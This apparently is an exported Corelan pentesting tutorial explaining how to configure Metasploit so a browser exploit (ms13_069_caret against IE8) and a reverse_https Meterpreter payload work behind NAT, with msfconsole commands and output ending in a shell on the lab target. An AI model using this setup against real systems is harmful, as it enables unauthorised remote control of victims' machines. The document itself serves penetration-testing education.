{"id":10227,"date":"2014-01-04T11:25:50","date_gmt":"2014-01-04T10:25:50","guid":{"rendered":"https:\/\/www.corelan.be\/?p=10227"},"modified":"2014-01-04T11:25:50","modified_gmt":"2014-01-04T10:25:50","slug":"metasploit-meterpreter-and-nat","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/","title":{"rendered":"Metasploit Meterpreter and NAT"},"content":{"rendered":"<p>Professional pentesters typically use a host that is connected directly to the internet, has a public IP address, and is not hindered by any firewalls or NAT devices to perform their audit. Hacking &quot;naked&quot; is considered to be the easiest way to perform a penetration test that involves getting shells back.<\/p>\n<p>Not everyone has the luxury of putting a box directly connected to the internet and as the number of free public IP addresses continues to decrease, the need for using an audit box placed in a LAN, behind a router or firewall, will increase.<\/p>\n<p>Putting an audit box behind a device that will translate traffic from private to public and vice versa has some consequences. Not only will you need to be sure that the NAT device won't &quot;break&quot; if you start a rather fast portscan, but since the host is in a private LAN, behind a router or firewall, it won't be reachable directly from the internet.&#160; <\/p>\n<p>Serving exploits and handling reverse, incoming, shells can be problematic in this scenario.<\/p>\n<p>In this small post, we'll look at how to correctly configure Meterpreter payloads and make them work when your audit box is behind a NAT device.&#160;&#160; We'll use a browser exploit to demonstrate how to get a working Meterpreter session, even if both the target and the Metasploit &quot;attacker&quot; box are behind NAT.<\/p>\n<h3>Network setup<\/h3>\n<p>I'll be using the following network setup in this post:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"Labsetup\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; border-left: 0px; display: inline; padding-right: 0px\" border=\"0\" alt=\"Labsetup\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2014\/01\/Labsetup2.png\" width=\"700\" height=\"169\" \/><\/p>\n<p>Both the attacker and the target are behind a NAT device. We don't know the IP range used by the target and we've determined there is no direct way in from the internet to the target network, so the public IP of the target is not relevant.<\/p>\n<p>We'll assume that the target has the ability to connect to the internet over port 80 and 443.<\/p>\n<p>I've used IP 1.1.1.1 to indicate the &quot;public&quot; side of our attack network.&#160; You will have to replace this IP with your own public IP when trying the steps in this post.<\/p>\n<p>I will use Kali Linux as the attacker and I have set up a clone of the Metasploit Git repository on the box:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">cd \/\nmkdir -p \/pentest\/exploits\ngit clone https:\/\/github.com\/rapid7\/metasploit.git\ncd metasploit-framework\nbundle install<\/pre>\n<p>If you already had a git clone set up, make sure to update to the latest and greatest with &quot;git pull&quot;.&#160; (A small bug, related with using Meterpreter behind NAT was just fixed a few hours ago, so it's important to update to the latest version)<\/p>\n<p>The target is just a Windows XP SP3 box, but it doesn't really matter what it is, as long as we can use a browser exploit to demonstrate how to use Meterpreter.&#160; I have installed Internet Explorer 8 from IECollection (download here: <a title=\"http:\/\/utilu.com\/IECollection\/\" href=\"http:\/\/utilu.com\/IECollection\/\">http:\/\/utilu.com\/IECollection\/<\/a>).&#160;&#160; I'll be using this IE version because it's outdated and pretty much vulnerable to most of the IE8 browser exploits out there.<\/p>\n<h3>Set up forwarding on the attacker side<\/h3>\n<p>If we ever want to be able to accept connections from the target, we will need to configure the attacker firewall\/NAT to forward traffic on certain ports.&#160; The exact steps to do this will be very specific to the brand\/model\/type of router\/firewall that you are using, so this is beyond the scope of this post.&#160;&#160; In general, the idea is to configure the router\/firewall so traffic to the public IP address of the router, on ports 80 and 443, will be forwarded to 192.168.0.187 (which is the LAN IP of my attacker box).&#160; When setting up the router\/firewall, make sure to check if port 80 and\/or 443 are not used by the router\/firewall (management interface, VPN endpoint, etc).<\/p>\n<p>We'll use port 80 to serve the browser exploit and port 443 for the reverse Meterpreter connection.&#160; First, we need to verify that the forwarding works.<\/p>\n<p>On Kali, create a small html file and store it under \/tmp<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">root@krypto1:\/<span style=\"color: #008000\"># cd \/tmp<\/span>\nroot@krypto1:\/tmp<span style=\"color: #008000\"># echo &quot;It works&quot; &gt; test.html<\/span><\/pre>\n<p>Next, make sure nothing is currently using port 80 or port 443<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">root@krypto1:\/tmp<span style=\"color: #008000\"># netstat -vantu | grep :80<\/span>\nroot@krypto1:\/tmp<span style=\"color: #008000\"># netstat -vantu | grep :443<\/span><\/pre>\n<p>If you don't see output to both commands, you should be good to go.&#160; If something is listed, you'll need to find what process is using the port and kill the process.&#160; For port 80, you could check the processes that are taking control over the http port using the following lsof command:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">root@krypto1:\/tmp<span style=\"color: #008000\"># lsof -i | grep :http <\/span>\napache2    4634     root    4u  IPv6 393366      0t0  TCP *:http (LISTEN)\napache2    4642 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)\napache2    4643 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)\napache2    4644 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)\napache2    4645 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)\napache2    4646 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)<\/pre>\n<p>Just stop apache2 to free up the port:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">root@krypto1:\/tmp<span style=\"color: #008000\"># service apache2 stop<\/span>\nStopping web server: apache2 ... waiting .\nroot@krypto1:\/tmp<span style=\"color: #008000\"># <\/span><\/pre>\n<p>With all ports available, we'll run a simple web server and serve the &quot;test.html&quot; page. From the folder that contains the test.html file, run this python command:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">root@krypto1:\/tmp<span style=\"color: #008000\"># python -m SimpleHTTPServer 80<\/span>\nServing HTTP on 0.0.0.0 port 80 ...<\/pre>\n<p>If you now connect to http:\/\/192.168.0.187\/test.html from the Kali box itself, you should see the &quot;It works&quot; page and the <\/p>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"web1\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; border-left: 0px; display: inline; padding-right: 0px\" border=\"0\" alt=\"web1\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2014\/01\/web11.png\" width=\"400\" height=\"165\" \/><\/p>\n<p>The output on the Kali box should list the connection and show that the page was served with response 200<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">root@krypto1:\/tmp<span style=\"color: #008000\"># python -m SimpleHTTPServer 80<\/span>\nServing HTTP on 0.0.0.0 port 80 ...\n192.168.0.187 - - [04\/Jan\/2014 12:42:02] &quot;<span style=\"color: #8b0000\">GET \/test.html HTTP\/1.1<\/span>&quot; 200 -<\/pre>\n<p>Perfect, this proves that the webserver works.&#160; On the target computer, connect to <a href=\"http:\/\/1.1.1.1\/test.html\">http:\/\/1.1.1.1\/test.html<\/a> (again, replace 1.1.1.1 with the public IP of the router\/firewall on the attacker side) and you should get the same thing.&#160; If you don't see the page, check that the forwarding is set up correctly.&#160; <\/p>\n<p>If this works for port 80, go back to the attacker box and terminate the python command using CTRL+C.&#160; Then launch the command again, this time using port 443:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">root@krypto1:\/tmp<span style=\"color: #008000\"># python -m SimpleHTTPServer 443<\/span>\nServing HTTP on 0.0.0.0 port 443 ...<\/pre>\n<p>Now access the webserver over port 443.&#160; Despite the fact that we are using 443 and that 443 is commonly associated with https (encrypted), our python handler is not using encryption. In other words, we still have to use http instead of https in the URL:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"web2\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; border-left: 0px; display: inline; padding-right: 0px\" border=\"0\" alt=\"web2\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2014\/01\/web21.png\" width=\"400\" height=\"180\" \/><\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">root@krypto1:\/tmp<span style=\"color: #008000\"># python -m SimpleHTTPServer 443<\/span>\nServing HTTP on 0.0.0.0 port 443 ...\n192.168.0.187 - - [04\/Jan\/2014 12:47:44] &quot;<span style=\"color: #8b0000\">GET \/test.html HTTP\/1.1<\/span>&quot; 200 -\n192.168.0.187 - - [04\/Jan\/2014 12:47:44] code 404, message File <span style=\"color: #0000ff\">not<\/span> found\n192.168.0.187 - - [04\/Jan\/2014 12:47:44] &quot;<span style=\"color: #8b0000\">GET \/favicon.ico HTTP\/1.1<\/span>&quot; 404 -\n192.168.0.187 - - [04\/Jan\/2014 12:47:44] code 404, message File <span style=\"color: #0000ff\">not<\/span> found\n192.168.0.187 - - [04\/Jan\/2014 12:47:44] &quot;<span style=\"color: #8b0000\">GET \/favicon.ico HTTP\/1.1<\/span>&quot; 404 -<\/pre>\n<p>(don't worry about the 404 messages related with \/favicon.ico - it's safe to ignore them) <\/p>\n<p>If you can connect to http:\/\/1.1.1.1:443\/test.html from the target computer, we know that the port forwarding is working correctly for both port 80 and 443.&#160; If this doesn't work, there's no point in proceeding, because anything else we try will fail. <\/p>\n<p>When everything works, close the python command to free up port 443 too.<\/p>\n<h3>Metasploit configuration<\/h3>\n<h4>Browser exploit - meterpreter\/reverse_https<\/h4>\n<p>First of all, let' set up Metasploit to serve the browser exploit and handle a reverse https Meterpreter connection.&#160;&#160; The idea is to trick the target into connecting to the exploit on port 80 and serve the meterpreter\/reverse_https connection over port 443.<\/p>\n<p>Go to the metasploit-framework folder, open msfconsole (don't forget the .\/ if you want to be sure you're running msfconsole from the current folder and not the version that was installed with Kali) and select an exploit. For the sake of this exercise, I'll use ms13_069_caret.rb:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">root@krypto1:\/tmp<span style=\"color: #008000\"># cd \/pentest\/exploits\/metasploit-framework\/<\/span>\n(master) root@krypto1:\/pentest\/exploits\/metasploit-framework<span style=\"color: #008000\"># .\/msfconsole <\/span>\n     ,           ,\n    \/             \\\n   ((__---,,,---__))\n      (_) O O (_)_________\n         \\ _ \/            |\\\n          o_o \\   M S F   | \\\n               \\   _____  |  *\n                |||   WW|||\n                |||     |||\n\n\n       =[ metasploit v4.9.0-dev [core:4.9 api:1.0]\n+ -- --=[ 1248 exploits - 678 auxiliary - 199 post\n+ -- --=[ 324 payloads - 32 encoders - 8 nops\n\nmsf &gt; use exploit\/windows\/browser\/ms13_069_caret \nmsf exploit(ms13_069_caret) &gt; <\/pre>\n<p>Show the options:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">msf exploit(ms13_069_caret) &gt; show options\n\nModule options (exploit\/windows\/browser\/ms13_069_caret):\n\n   Name        Current Setting  Required  Description\n   ----        ---------------  --------  -----------\n   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine <span style=\"color: #0000ff\">or<\/span> 0.0.0.0\n   SRVPORT     8080             yes       The local port to listen on.\n   SSL         <span style=\"color: #0000ff\">false<\/span>            no        Negotiate SSL <span style=\"color: #0000ff\">for<\/span> incoming connections\n   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)\n   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)\n   URIPATH                      no        The URI to use <span style=\"color: #0000ff\">for<\/span> this exploit (default is random)\n\n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   IE 8 on Windows XP SP3<\/pre>\n<p>The exploit requires a SRVHOST and SRVPORT.&#160; These 2 variables will be used by Metasploit to determine where the webserver needs to bind to and listen on.&#160; The plan is to trick the target to connect to this webserver, using the public IP of our firewall\/router, which will then forward the traffic to our Metasploit instance. <\/p>\n<p>We can't tell the Metasploit webserver to listen to the public IP of our router, because it won't be able to &quot;bind&quot; itself to that IP address.&#160; If we use 0.0.0.0, the Metasploit webserver will simply listen on all interfaces for incoming traffic.&#160; In other words, you can leave the SRVHOST to 0.0.0.0, or you can set it to the LAN IP of the Kali box itself (192.168.0.187 in this case).&#160; I'll just leave the default 0.0.0.0.&#160; <\/p>\n<p>Next, we need to change the port to 80, and we'll set the URIPATH to \/&#160; (so we can predict what the URI will be, instead of letting Metasploit create a random URI):<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">msf exploit(ms13_069_caret) &gt; set SRVPORT 80\nSRVPORT =&gt; 80\nmsf exploit(ms13_069_caret) &gt; set URIPATH \/\nURIPATH =&gt; \/<\/pre>\n<p>Next, let's select the meterpreter reverse_https payload for windows. If we run &quot;show options&quot; again, we'll see this:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">msf exploit(ms13_069_caret) &gt; set payload windows\/meterpreter\/reverse_https\npayload =&gt; windows\/meterpreter\/reverse_https\nmsf exploit(ms13_069_caret) &gt; show options\n\nModule options (exploit\/windows\/browser\/ms13_069_caret):\n\n   Name        Current Setting  Required  Description\n   ----        ---------------  --------  -----------\n   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine <span style=\"color: #0000ff\">or<\/span> 0.0.0.0\n   SRVPORT     80               yes       The local port to listen on.\n   SSL         <span style=\"color: #0000ff\">false<\/span>            no        Negotiate SSL <span style=\"color: #0000ff\">for<\/span> incoming connections\n   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)\n   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)\n   URIPATH     \/                no        The URI to use <span style=\"color: #0000ff\">for<\/span> this exploit (default is random)\n\n\nPayload options (windows\/meterpreter\/reverse_https):\n\n   Name      Current Setting  Required  Description\n   ----      ---------------  --------  -----------\n   EXITFUNC  process          yes       Exit technique: seh, thread, process, none\n   LHOST                      yes       The local listener hostname\n   LPORT     443              yes       The local listener port\n\n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   IE 8 on Windows XP SP3\n\n\nmsf exploit(ms13_069_caret) &gt; <\/pre>\n<p>The Module options (SRVHOST and SRVPORT) are set the way we want it.&#160; The Payload options require an LHOST and LPORT.&#160; Based on the output above, the LPORT is already set to 443. This is the port where the Meterpreter reverse connection will attempt to connect to.&#160; If it was not set to 443 already on your box, simply run &quot;set LPORT 443&quot; to make sure the Meterpreter handler will listen on port 443:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">msf exploit(ms13_069_caret) &gt; set LPORT 443\nLPORT =&gt; 443<\/pre>\n<p>Note: In any case, to keep things as easy as possible, try to use the same ports for a specific &quot;service&quot;.&#160; That is, if you host the webserver on port 80 on the firewall, try to make sure to also forward traffic to port 80 on the attacker\/Metasploit box, and host the exploit on port 80 in Metasploit.&#160; The same thing applies to the payload. If we serve the payload on port 443, make sure to use this port everywhere. <\/p>\n<p>LHOST serves 2 purposes :<\/p>\n<ul>\n<li>It indicates the IP address where the Meterpreter shellcode will have to connect back to (from the target, to the attacker).<\/li>\n<li>It tells Metasploit where to bind to when setting up the Meterpreter &quot;handler&quot;.<\/li>\n<\/ul>\n<p>Since our attacker host is behind NAT, we have to use the public IP address of the router\/firewall as LHOST.&#160; When the exploit is executed, this IP will be embedded in the shellcode and when the initial Meterpreter shellcode runs on the target, it will connect back to this IP address.&#160; The port forwarding on our router\/firewall will then forward traffic to our LAN IP of the attacker host.&#160; For this reason, we need to set LHOST to 1.1.1.1 (the public IP of your attacker router\/firewall)<\/p>\n<p>Using a public IP as LHOST also means that Metasploit will attempt to bind itself to that IP when setting up the Meterpreter handler.&#160; Since this IP belongs to the router\/firewall and not to the Metasploit instance, this will obviously fail.&#160; The good thing is that Metasploit will automatically fall back to 0.0.0.0 and basically serve the Meterpreter handler on all local IPs on the attacker host, while remembering that LHOST was set to our public IP address.&#160; This is exactly what we need.<\/p>\n<p>Set LHOST to 1.1.1.1<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">msf exploit(ms13_069_caret) &gt; set LHOST 1.1.1.1\nLHOST =&gt; 1.1.1.1<\/pre>\n<p>If we don't really want the Meterpreter handler to fall back to 0.0.0.0, we can use one of the &quot;advanced&quot; options and tell it to listen on the LAN IP address:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">msf exploit(ms13_069_caret) &gt; set ReverseListenerBindAddress 192.168.0.187\nReverseListenerBindAddress =&gt; 192.168.0.187<\/pre>\n<p>and then fire up the exploit:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">msf exploit(ms13_069_caret) &gt; exploit\n[*] Exploit running as background job.\n\n[*] Started HTTPS reverse handler on https:\/\/192.168.0.187:443\/\n[*] Using URL: http:\/\/0.0.0.0:80\/\n[*]  Local IP: http:\/\/192.168.0.187:80\/\n[*] Server started.<\/pre>\n<p>The output shows us that<\/p>\n<ul>\n<li><a href=\"http:\/\/0.0.0.0:80\">http:\/\/0.0.0.0:80<\/a> (or http:\/\/192.168.0.187:80) is hosting the browser exploit. If the target connects to <a href=\"http:\/\/1.1.1.1\">http:\/\/1.1.1.1<\/a>, traffic will be forwarded to the Kali box on port 80 and serve the exploit.<\/li>\n<li>The HTTPS reverse handler is listening on 192.168.0.187, port 443.<\/li>\n<\/ul>\n<p>What we don't see in the output is the fact that the actual Meterpreter shellcode contains IP address 1.1.1.1 to connect back to.&#160; That value is taken from the LHOST variable.<\/p>\n<p>If you didn't use ReverseListenerBindAddress and you get something like the output below after running &quot;exploit&quot;, then check the following<\/p>\n<ol>\n<li>check that the port is free to use<\/li>\n<li>make sure you are running the latest version of Metasploit<\/li>\n<li>set the ReverseListenerBindAddress to your local LAN IP or to 0.0.0.0<\/li>\n<li>exit msfconsole and open it again. under certain scenario's, you'll notice that the bind doesn't get properly cleaned up if you ran a session before.<\/li>\n<\/ol>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">msf exploit(ms13_069_caret) &gt; exploit\n[*] Exploit running as background job.\n\n[-] Exploit failed: Rex::AddressInUse The address is already <span style=\"color: #0000ff\">in<\/span> use (0.0.0.0:443).<\/pre>\n<p>If we now use IE8 (from IECollection) on the target and connect to the public IP of our attacker router\/firewall on port 80, we should see this:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">msf exploit(ms13_069_caret) &gt; [*] 2.2.2.2   ms13_069_caret - Sending exploit...\n[*] 2.2.2.2   ms13_069_caret - Sending exploit...\n[*] 2.2.2.2:53893 Request received <span style=\"color: #0000ff\">for<\/span> \/NtFT...\n[*] 2.2.2.2:53893 Staging connection <span style=\"color: #0000ff\">for<\/span> target \/NtFT received...\n[*] Patched user-agent at offset 663128...\n[*] Patched transport at offset 662792...\n[*] Patched URL at offset 662856...\n[*] Patched Expiration Timeout at offset 663728...\n[*] Patched Communication Timeout at offset 663732...\n[*] Meterpreter session 1 opened (192.168.0.187:443 -&gt; 2.2.2.2:53893) at 2014-01-05 09:24:26 +0100\n[*] Session ID 1 (192.168.0.187:443 -&gt; 2.2.2.2:53893) processing InitialAutoRunScript 'migrate -f'\n[*] Current server process: iexplore.exe (2952)\n[*] Spawning notepad.exe process to migrate to\n[+] Migrating to 500\n[+] Successfully migrated to process \n\nmsf exploit(ms13_069_caret) &gt; sessions -i 1\n[*] Starting interaction with 1...\n\nmeterpreter &gt; shell\nProcess 592 created.\nChannel 1 created.\nMicrosoft Windows XP [Version 5.1.2600]\n(C) Copyright 1985-2001 Microsoft Corp.\n\nC:\\Documents <span style=\"color: #0000ff\">and<\/span> Settings\\peter\\Desktop&gt;<\/pre>\n<p>2.2.2.2 is the public IP of the target.&#160; Metasploit is sending the payload when the target connects to port 80, exploits the browser and executes the initial meterpreter payload. This payload will download metsrv.dll (which gets patched by Metasploit first, so it would contain the attacker public IP and port), loads it into memory (using reflective load) and runs the code.&#160; When that is done, you get a full Meterpreter session. Life is good.<\/p>\n<p>So, in a nutshell, set the following variables and you should be good to go:<\/p>\n<ul>\n<li>SRVHOST : 0.0.0.0<\/li>\n<li>SRVPORT : set to the port where you want to host the browser exploit<\/li>\n<li>LHOST : the attacker public IP<\/li>\n<li>LPORT : set to the port where you want to serve the Meterpreter handler<\/li>\n<li>ReverseListenerBindAddress : LAN IP&#160; (optional)<\/li>\n<\/ul>\n<p> If, for whatever reason, you also want to host the Meterpreter handler on another port than what the client will connect to, then you can use LPORT to specify where the target will connect back to, and use ReverseListenerBindPort to indicate where the handler needs to listen to. Obviously, you'll need to make sure the port forwarding will connect to the right port on your attacker machine.<\/p>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>Professional pentesters typically use a host that is connected directly to the internet, has a public IP address, and is not hindered by any firewalls or NAT devices to perform their audit. Hacking &quot;naked&quot; is considered to be the easiest way to perform a penetration test that involves getting shells back. Not everyone has the &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Metasploit Meterpreter and NAT\"<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[3386,2732],"tags":[1886,1824],"class_list":["post-10227","post","type-post","status-publish","format-standard","hentry","category-metasploit-security","category-pentesting","tag-meterpreter","tag-metasploit"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Metasploit Meterpreter and NAT - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Metasploit Meterpreter and NAT - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"Professional pentesters typically use a host that is connected directly to the internet, has a public IP address, and is not hindered by any firewalls or NAT devices to perform their audit. Hacking &quot;naked&quot; is considered to be the easiest way to perform a penetration test that involves getting shells back. Not everyone has the &hellip; Continue reading &quot;Metasploit Meterpreter and NAT&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2014\/01\/04\/metasploit-meterpreter-and-nat\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2014-01-04T10:25:50+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2014\/01\/Labsetup2.png\" \/>\n<meta name=\"author\" content=\"corelanc0d3r\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/\"},\"author\":{\"name\":\"corelanc0d3r\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\"},\"headline\":\"Metasploit Meterpreter and NAT\",\"datePublished\":\"2014-01-04T10:25:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/\"},\"wordCount\":2029,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2014\\\/01\\\/Labsetup2.png\",\"keywords\":[\"meterpreter\",\"metasploit\"],\"articleSection\":[\"Metasploit\",\"Pentesting\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2014\\\/01\\\/04\\\/metasploit-meterpreter-and-nat\\\/\",\"name\":\"Metasploit Meterpreter and NAT - Corelan | Exploit Development &amp; Vulnerability 